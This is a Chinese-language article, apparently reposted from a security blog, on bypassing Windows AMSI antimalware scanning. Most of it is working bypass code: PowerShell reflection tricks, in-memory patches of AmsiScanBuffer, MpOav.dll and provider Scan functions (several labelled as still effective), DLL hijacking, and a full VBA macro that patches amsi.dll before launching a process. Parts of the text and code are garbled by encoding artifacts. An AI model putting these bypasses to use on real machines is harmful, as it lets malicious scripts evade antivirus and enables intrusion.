1.什么是AMSI
AMSI全稱(Antimalware Scan Interface),反惡意軟件掃描接口
反惡意軟件掃描接口是允許應(yīng)用程序與反惡意軟件產(chǎn)品集成的標(biāo)準(zhǔn)
例如,在可編寫腳本的應(yīng)用程序中,當(dāng)腳本準(zhǔn)備好提供給腳本引擎時(shí),應(yīng)用程序可以調(diào)用Windows AMSI API,請(qǐng)求在執(zhí)行之前掃描內(nèi)容。
AMSI有效的原因是,無(wú)論代碼經(jīng)過(guò)多么復(fù)雜的模糊處理和混淆,當(dāng)腳本需要在腳本宿主中運(yùn)行時(shí),都必須是明文未經(jīng)混淆的代碼形式執(zhí)行。比如powershell代碼,無(wú)論經(jīng)過(guò)多復(fù)雜的模糊處理或者編碼(比如Base64),但是當(dāng)需要執(zhí)行powershell代碼是必須要解碼之后符合powershell代碼規(guī)范才能執(zhí)行。
2.AMSI架構(gòu)
任何應(yīng)用程序(消費(fèi)者)都可以請(qǐng)求掃描內(nèi)容
任何安全供應(yīng)商(供應(yīng)商)都可以注冊(cè)以接收掃描請(qǐng)求
操作系統(tǒng)是中介程序amsi.dll,必須由任何受amsi保護(hù)的應(yīng)用程序?qū)?/p>
3.受AMSI影響的產(chǎn)品
PowerShell (>2.0)
JavaScript
VBScript
VBA (office macro)
WMI
User Account Control (UAC)elevations
Excel 4.0 macros
Volume shadow copy operations
4.AMSI函數(shù)
語(yǔ)法參數(shù)等詳細(xì)信息可以查看微軟官方文檔
函數(shù)名 | 作用 |
---|---|
AmsiCloseSession | 關(guān)閉由 AmsiOpenSession 打開的會(huì)話。 |
AmsiInitialize | 初始化 AMSI API。 |
AmsiNotifyOperation | 向反惡意軟件提供程序發(fā)送任意操作的通知。 |
AmsiOpenSession | 打開可在其中關(guān)聯(lián)多個(gè)掃描請(qǐng)求的會(huì)話。 |
AmsiResultIsMalware | 確定掃描結(jié)果是否指示應(yīng)阻止內(nèi)容。 |
AmsiScanBuffer | 掃描緩沖區(qū)中的內(nèi)容中尋找惡意軟件。 |
AmsiScanString | 掃描字符串中的惡意軟件。 |
AmsiUninitialize | 刪除 AmsiInitialize最初打開的 AMSI API 實(shí)例。 |
5.禁用AMSI
斷開AMSI鏈條中的任何一個(gè)環(huán)節(jié)
5.1.應(yīng)用程序側(cè)的Unhook
各種應(yīng)用程序是通過(guò)AMSI這個(gè)接口被檢測(cè)的,可以通過(guò)斷開某個(gè)應(yīng)用程序(比如powershell)到AMSI的路線來(lái)使這個(gè)應(yīng)用程序(比如powershell)不被AMSI掃描,從而繞過(guò)AMSI。
取決于受AMSI保護(hù)的應(yīng)用程序如何使用AMSI,了解應(yīng)用程序的工作原理,使其在不調(diào)用AmsiScanBuffer的情況下執(zhí)行代碼。
5.1.1使用反射
首先了解powershell是如何調(diào)用AMSI的
powershell可以通過(guò)反射破壞Amsi的初始化相關(guān)對(duì)象(amsiInitFailed、amsiSession、amsiContext),使其不能正常初始化,從而不對(duì)當(dāng)前進(jìn)程進(jìn)行掃描。
(這是2016年提出的概念腳本,現(xiàn)在AMSI會(huì)識(shí)別并攔截了)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null,$null); $mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext", "NonPublic,Static").SetValue($null, [IntPtr]$mem)
改變上面的第一個(gè)腳本,使用base64繞過(guò)(此腳本也已經(jīng)失效)
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
再次修改腳本,全部使用base64繞過(guò)(目前可用)
function b64decode { param ($encoded) $decoded = $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded)) return$decoded } $1 = b64decode("U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM=") $2 = b64decode("YW1zaUluaXRGYWlsZWQ=") $3 = b64decode("Tm9uUHVibGljLFN0YXRpYw==") [Ref].Assembly.GetType($1).GetField($2,$3).SetValue($null,$true)
最終繞過(guò)AMSI效果如下:
(同樣有效的腳本)
$w = 'System.Management.Automation.A';$c= 'si';$m= 'Utils' $assembly = [Ref].Assembly.GetType(('{0}m{1}{2}'-f $w,$c,$m)) $field = $assembly.GetField(('am{0}InitFailed'-f $c),'NonPublic,Static') $field.SetValue($null,$true)
5.2.patch AMSI.DLL代碼
AMSI的一個(gè)主要組件被實(shí)現(xiàn)為DLL,該DLL被加載到每個(gè)受AMSI保護(hù)的進(jìn)程中,此DLL充當(dāng)托管PowerShell代碼和COM反惡意軟件提供程序之間的連接器。因此通過(guò)修補(bǔ)AMSI.DLL的代碼數(shù)據(jù)部分,攻擊者可以破壞AMSI鏈。
5.2.1patch AmsiScanBuffer函數(shù)
AmsiScanBuffer()函數(shù)掃描充滿惡意軟件內(nèi)容的緩沖區(qū),攻擊者可以修補(bǔ)AmsiScanBuffer的任何部分(或其調(diào)用的其他代碼片段),并根據(jù)其意愿使其返回AMSI_RESULT值。
(下面示例代碼目前可用)
$Win32 = @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $Win32 $LoadLibrary = [Win32]::LoadLibrary("am"+ "si.dll") $Address = [Win32]::GetProcAddress($LoadLibrary,"Amsi"+ "Scan"+ "Buffer") $p = 0 [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) $Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) #E_INVALIDARG [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
為什么$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)?
這是因?yàn)樵?4位下HRESULT:0x80070057 (E_INVALIDARG)的字節(jié)碼是0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3。而E_INVALIDARG代表傳入的參數(shù)之一無(wú)效。當(dāng)AmsiScanBuffer因?yàn)閰?shù)錯(cuò)誤而導(dǎo)致返回代碼是E_INVALIDARG時(shí),實(shí)際掃描結(jié)果為0即AMSI_RESULT_CLEAN。
5.2.2patch AMSI Context 結(jié)構(gòu)體
AMSI Context 結(jié)構(gòu)體在AmsiInitialize例程期間初始化,存儲(chǔ)在AMSI保護(hù)的進(jìn)程內(nèi)存中,可以通過(guò)搜索“AMSI”簽名在內(nèi)存中找到AMSI Context 結(jié)構(gòu)體或找到指向它的全局指針,覆蓋此結(jié)構(gòu)將導(dǎo)致AmsiScanBuffer失效。
5.3.COM Server劫持
AMSI提供程序通過(guò)在HKLMSoftwareClassesCLSID中創(chuàng)建CLSID條目并在HKLMSSoftwareMicrosoftAMSIproviders中注冊(cè)相同的CLSID來(lái)注冊(cè)自己。當(dāng)AMSI在主機(jī)進(jìn)程中初始化時(shí),它將枚舉Providers注冊(cè)表項(xiàng)中列出的每個(gè)CLSID,并通過(guò)導(dǎo)入InProcServer32子項(xiàng)中的DLL來(lái)初始化COM對(duì)象。
IAntimalwareProvider是構(gòu)成AMSI主要關(guān)鍵的接口。想要提供反惡意軟件服務(wù)的每個(gè)AMSI提供程序都需要實(shí)現(xiàn)lAntimalwareProvider COM接口。
劫持AMSI提供程序COM服務(wù)器可能導(dǎo)致繞過(guò)AMSI,而且可通過(guò)注冊(cè)表監(jiān)控輕松檢測(cè)。
5.4.patch AMSI提供程序
這種方法將導(dǎo)致AMSI初始化過(guò)程失敗,從而破壞AMSI鏈。通過(guò)修補(bǔ)amsi.dll區(qū)域外的非受監(jiān)控內(nèi)存來(lái)完成
為了理解它,讓我們深入到AMSI內(nèi)部
AMSI Initialization
任何想要使用AMSI服務(wù)的提供商都必須調(diào)用Amsilnitialize函數(shù),用信息填充HAMSICONTEXT。下面是簡(jiǎn)化的代碼
我們會(huì)破壞一些不太直觀的東西來(lái)保護(hù)提供程序本身,修補(bǔ)提供程序的DLL中DllGetClassObject函數(shù)的序言字節(jié),并干擾AMSI的初始化過(guò)程。
AmsiUninitialize
每個(gè)使用AMSI的應(yīng)用程序都有一個(gè)代碼,用于取消初始化AMSI,那就是AmsiUninitialize函數(shù)。在PowerShell中,我們可以使用反射來(lái)調(diào)用此代碼。在AmsiUtils類中聲明一個(gè)名為Uninitialize()的函數(shù),為我們?nèi)∠跏蓟疉MSI。
5.4.1Patch Microsoft MpOav.dll
基于此原理可以得到一個(gè)bypass腳本,下面是一個(gè)示例patch Microsoft提供程序的DLL(MpOav.DLL),可以通過(guò)適當(dāng)?shù)牟樵冏?cè)表項(xiàng)來(lái)查找所有提供程序的DLL。
(下面示例代碼目前仍然有效)
$APIs = @" using System; using System.Runtime.InteropServices; public class APIs { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ekwiam, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $APIs $Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) $LoadLibrary = [APIs]::LoadLibrary("MpOav.dll") $Address = [APIs]::GetProcAddress($LoadLibrary, "DllGetClassObject") $p = 0 [APIs]::VirtualProtect($Address, [uint32]6, 0x40, [ref]$p) [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6) $object = [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils') $Uninitialize = $object.GetMethods("NonPublic,static") | Where-Object Name -eq Uninitialize $Uninitialize.Invoke($object,$null)
5.4.2替換Add-Type Patch Microsoft MpOav.dll
Add-Type會(huì)將代碼寫入磁盤上的臨時(shí)文件,然后使用csc.exe 將此代碼編譯為二進(jìn)制文件,落地到磁盤上可能導(dǎo)致AV檢測(cè)
解決方案:反射
(下面的示例代碼是使用反射來(lái)代替Add-Type)
functionGet-ProcAddress{ Param( [Parameter(Position = 0, Mandatory = $True)] [String] $Module, [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure ) # Get a reference to System.dll in the GAC $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And$_.Location.Split('\')[-1].Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') # Get a reference to the GetModuleHandle and GetProcAddress methods $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])) # Get a handle to the module specified $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) # Return the address of the function return$GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } functionGet-DelegateType { Param ( [OutputType([Type])] [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), [Parameter( Position = 1)] [Type] $ReturnType = [Void] ) $Domain = [AppDomain]::CurrentDomain $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') Write-Output $TypeBuilder.CreateType() } $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) $hModule = $LoadLibrary.Invoke("MpOav.dll") $DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule, "DllGetClassObject") $p = 0 $VirtualProtect.Invoke($DllGetClassObjectAddress, [uint32]6, 0x40, [ref]$p) $ret_minus = [byte[]] (0xb8, 0xff, 0xff, 0xff, 0xff, 0xC3) [System.Runtime.InteropServices.Marshal]::Copy($ret_minus, 0, $DllGetClassObjectAddress, 6) $object = [Ref].Assembly.GetType('System.Ma'+'nag'+'eme'+'nt.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls') $Uninitialize = $object.GetMethods('N'+'onPu'+'blic,st'+'at'+'ic') | Where-Object Name -eq Uninitialize $Uninitialize.Invoke($object,$null)
5.4.3掃描攔截
我們可以攔截AMSIs掃描過(guò)程而不是初始化(如經(jīng)典AmsiScanBuffer patch代碼,可以不需要接觸amsi.dl就可以完成)
AmsiScanBuffer為每個(gè)注冊(cè)的AMSI提供程序調(diào)用IAntimalwareProvider::Scan() 如果提供程序返回的結(jié)果不是AMSI_RESULT_NOT_DETECTED AMSI_RESULT_CLEAN,則掃描將停止并返回結(jié)果,而不調(diào)用其余提供程序,比如:AmsiScanBuffer、CAmsiBufferStream、CAmsiAntimalware::Scan。
所以需要找到提供商的掃描函數(shù)
調(diào)用AmsiInitialize將為我們生成一個(gè)新的HAMSICONTEXT,然后將它指向提供程序DLL中的相同掃描函數(shù),我們可以修補(bǔ)每個(gè)提供商的 scan函數(shù),所以它將返回而不填寫AMSI_RESULT(將保持AMSI_RESULT_CLEAN)。
(下面的示例代碼目前仍然可用)
$Apis = @" using System; using System.Runtime.InteropServices; public class Apis { [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("amsi")] public static extern int AmsiInitialize(string appName, out Int64 context); } "@ Add-Type $Apis $ret_zero = [byte[]] (0xb8, 0x0, 0x00, 0x00, 0x00, 0xC3) $p = 0; $i = 0 $SIZE_OF_PTR = 8 [Int64]$ctx = 0 [Apis]::AmsiInitialize("MyScanner", [ref]$ctx) $CAmsiAntimalware = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$ctx, 16) $AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64) # Loop through all the providers while($AntimalwareProvider -ne 0) { # Find the provider's Scan function $AntimalwareProviderVtbl = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProvider) $AmsiProviderScanFunc = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProviderVtbl, 24) # Patch the Scan function Write-host "[$i] Provider's scan function found!"$AmsiProviderScanFunc [APIs]::VirtualProtect($AmsiProviderScanFunc, [uint32]6, 0x40, [ref]$p) [System.Runtime.InteropServices.Marshal]::Copy($ret_zero, 0, [IntPtr]$AmsiProviderScanFunc, 6) $i++ $AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64+ ($i*$SIZE_OF_PTR)) }
5.5 更多AMSI bypass技術(shù)
5.5.1 使用PowerShell版本2
切換powershell版本:powershell -version 2
在腳本中:在腳本開頭加入#requires -version 2
這樣如果可以使用2.0,腳本會(huì)以2.0執(zhí)行,如果不能,會(huì)按照當(dāng)前powershell版 本執(zhí)行
5.5.3 amsi.dll劫持
LoadLibrary函數(shù)導(dǎo)入dll的時(shí)候沒(méi)有使用絕對(duì)路徑,因此程序會(huì)首先在當(dāng)前目錄下尋找dll,因此可以在 powershell.exe同目錄下(C:WindowsSystem32WindowsPowerShellv1.0)放一個(gè)偽造amsi.dll,就可以實(shí)現(xiàn)DLL劫持,而不會(huì)調(diào)用系統(tǒng)的amsi.dll(C:WindowsSystem32asmi.dll)
dll導(dǎo)入優(yōu)先級(jí)如下:
進(jìn)程對(duì)應(yīng)的應(yīng)用程序所在目錄 系統(tǒng)目錄(通過(guò) GetSystemDirectory 獲取) 16位系統(tǒng)目錄 Windows目錄(通過(guò) GetWindowsDirectory 獲取) 當(dāng)前目錄 PATH環(huán)境變量中的各個(gè)目錄
5.5.4 宏代碼繞過(guò)AMSI
詳細(xì)說(shuō)明可查閱:https://secureyourit.co.uk/wp/2019/05/10/dynamic-microsoft-office-365-amsi-in-memory-bypass-using-vba/
Private DeclarePtrSafe FunctionGetProcAddress Lib "kernel32"(ByVal hModule AsLongPtr, ByVal lpProcName AsString) AsLongPtr PrivateDeclarePtrSafe FunctionLoadLibrary Lib "kernel32"Alias"LoadLibraryA"(ByVal lpLibFileName AsString) AsLongPtr PrivateDeclarePtrSafe FunctionVirtualProtect Lib "kernel32"(lpAddress AsAny, ByVal dwSize AsLongPtr, ByVal flNewProtect AsLong, lpflOldProtect AsLong) AsLong PrivateDeclarePtrSafe Sub ByteSwapper Lib "kernel32.dll"Alias"RtlFillMemory"(Destination AsAny, ByVal LengthAsLong, ByVal Fill AsByte) DeclarePtrSafe Sub Peek Lib "msvcrt"Alias"memcpy"(ByRef pDest AsAny, ByRef pSource AsAny, ByVal nBytes AsLong) PrivateDeclarePtrSafe FunctionCreateProcess Lib "kernel32"Alias"CreateProcessA"(ByVal lpApplicationName AsString, ByVal lpCommandLine AsString, lpProcessAttributes AsAny, lpThreadAttributes AsAny, ByVal bInheritHandles AsLong, ByVal dwCreationFlags AsLong, lpEnvironment AsAny, ByVal lpCurrentDriectory AsString, lpStartupInfo AsSTARTUPINFO, lpProcessInformation AsPROCESS_INFORMATION) AsLong PrivateDeclarePtrSafe FunctionOpenProcess Lib "kernel32.dll"(ByVal dwAccess AsLong, ByVal fInherit AsInteger, ByVal hObject AsLong) AsLong PrivateDeclarePtrSafe FunctionTerminateProcess Lib "kernel32"(ByVal hProcess AsLong, ByVal uExitCode AsLong) AsLong PrivateDeclarePtrSafe FunctionCloseHandle Lib "kernel32"(ByVal hObject AsLong) AsLong PrivateTypePROCESS_INFORMATION hProcess AsLong hThread AsLong dwProcessId AsLong dwThreadId AsLong EndType PrivateTypeSTARTUPINFO cb AsLong lpReserved AsString lpDesktop AsString lpTitle AsString dwX AsLong dwY AsLong dwXSize AsLong dwYSize AsLong dwXCountChars AsLong dwYCountChars AsLong dwFillAttribute AsLong dwFlags AsLong wShowWindow AsInteger cbReserved2 AsInteger lpReserved2 AsLong hStdInput AsLong hStdOutput AsLong hStdError AsLong EndType Const CREATE_NO_WINDOW = &H8000000 Const CREATE_NEW_CONSOLE = &H10 FunctionLoadDll(dll AsString, func AsString) AsLongPtr Dim AmsiDLL AsLongPtr AmsiDLL = LoadLibrary(dll) LoadDll = GetProcAddress(AmsiDLL, func) EndFunction FunctionGetBuffer(LeakedAmsiDllAddr AsLongPtr, TraverseOffset AsInteger) AsString Dim LeakedBytesBuffer AsString Dim LeakedByte AsLongPtr Dim TraverseStartAddr AsLongPtr OnErrorResumeNext TraverseStartAddr = LeakedAmsiDllAddr - TraverseOffset Dim i AsInteger Fori = 0ToTraverseOffset Peek LeakedByte, ByVal (TraverseStartAddr + i), 1 IfLeakedByte < 16?Then ????????FixedByteString = "0"?& Hex(LeakedByte) ????????LeakedBytesBuffer = LeakedBytesBuffer & FixedByteString ????Else ????????LeakedBytesBuffer = LeakedBytesBuffer & Hex(LeakedByte) ????End?If Next?i ? GetBuffer = LeakedBytesBuffer ? End?Function ? Function?FindPatchOffset(LeakedAmsiDllAddr As?LongPtr, TraverseOffset As?Integer, InstructionInStringOffset As?Integer) As?LongPtr ? Dim memOffset As?Integer ? memOffset = (InstructionInStringOffset - 1) / 2 FindPatchOffset = (LeakedAmsiDllAddr - TraverseOffset) + memOffset ? End?Function ? Sub x64_office() ? Dim LeakedAmsiDllAddr As?LongPtr ? Dim ScanBufferMagicBytes As?String Dim ScanStringMagicBytes As?String Dim LeakedBytesBuffer As?String Dim AmsiScanBufferPatchAddr As?LongPtr Dim AmsiScanStringPatchAddr As?LongPtr Dim TrvOffset As?Integer ? Dim InstructionInStringOffset As?Integer Dim Success?As?Integer ? ScanBufferMagicBytes = "4C8BDC49895B08" ScanStringMagicBytes = "4883EC384533DB" TrvOffset = 352 Success?= 0 ? LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize") ? LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset) ? InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes) If?InstructionInStringOffset = 0?Then ????' MsgBox "We didn't find the scanbuffer magicbytes :/" Else ????AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) ? ????Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0) ????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90") ????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "C3") ????Success = Success + 1 End If ? ? InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes) If InstructionInStringOffset = 0 Then ????' MsgBox "We didn't find the scanstring magicbytes :/" Else ????AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) ? ????Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0) ????ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90") ????ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "C3") ????Success = Success + 1 End If ? If Success = 2 Then ????Call CallMe End If ? End Sub ? Sub x32_office() ? Dim LeakedAmsiDllAddr As LongPtr ? Dim ScanBufferMagicBytes As String Dim ScanStringMagicBytes As String Dim LeakedBytesBuffer As String Dim AmsiScanBufferPatchAddr As LongPtr Dim AmsiScanStringPatchAddr As LongPtr Dim TrvOffset As Integer ? Dim InstructionInStringOffset As Integer Dim Success As Integer ? ScanBufferMagicBytes = "8B450C85C0745A85DB" ScanStringMagicBytes = "8B550C85D27434837D" TrvOffset = 300 Success = 0 ? LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize") ? LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset) ? InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes) If InstructionInStringOffset = 0 Then ????'?MsgBox "We didn't find the scanbuffer magicbytes :/" Else ????AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) ? ????Debug.Print Hex(AmsiScanBufferPatchAddr) ? ????Result?= VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0) ????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H"?& "90") ????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H"?& "31") ????ByteSwapper ByVal (AmsiScanBufferPatchAddr + 2), 1, Val("&H"?& "C0") ????Success?= Success?+ 1 End?If ? InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes) If?InstructionInStringOffset = 0?Then ????' MsgBox "We didn't find the scanstring magicbytes :/" Else ????AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset) ? ????Debug.Print Hex(AmsiScanStringPatchAddr) ? ????Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0) ????ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90") ????ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "31") ????ByteSwapper ByVal (AmsiScanStringPatchAddr + 2), 1, Val("&H" & "D2") ????Success = Success + 1 End If ? If Success = 2 Then ????Call CallMe End If ? End Sub ? Sub TestOfficeVersion() ? #If Win64 Then ????Call x64_office #ElseIf Win32 Then ????Call x32_office #End If ? End Sub ? Sub CallMe() ????? Dim pInfo As PROCESS_INFORMATION Dim sInfo As STARTUPINFO Dim sNull As String Dim lSuccess As Long Dim lRetValue As Long ? lSuccess = CreateProcess(sNull, "calc.exe", ByVal 0&, ByVal 0&, 1&, CREATE_NEW_CONSOLE, ByVal 0&, sNull, sInfo, pInfo) ? lRetValue = CloseHandle(pInfo.hThread) lRetValue = CloseHandle(pInfo.hProcess) ? End Sub
6. 總結(jié)
powershell繞過(guò)方法不適合mimikatz,可以執(zhí)行powershell版的mimikatz,但是會(huì)被殺毒軟件(defender等)查殺。
由于AMSI.DLL和提供程序的DLL加載到潛在攻擊者所在的相同內(nèi)存空間,因此破壞操作更容易。
AMSI提供程序的內(nèi)存以及AMSI.dll內(nèi)存空間應(yīng)受到保護(hù)
AMSI的Un-initialization可能會(huì)讓我們找到通過(guò)干擾AMSI初始化過(guò)程來(lái)禁用AMSI的新方法,一種不同于當(dāng)前干擾AMSI掃描過(guò)程的技術(shù)。
審核編輯:劉清
-
dll
+關(guān)注
關(guān)注
0文章
116瀏覽量
45551 -
VBA
+關(guān)注
關(guān)注
0文章
19瀏覽量
11938 -
Com
+關(guān)注
關(guān)注
1文章
107瀏覽量
40734 -
uac
+關(guān)注
關(guān)注
0文章
9瀏覽量
4136
原文標(biāo)題:AMSI繞過(guò)原理與實(shí)踐
文章出處:【微信號(hào):蛇矛實(shí)驗(yàn)室,微信公眾號(hào):蛇矛實(shí)驗(yàn)室】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論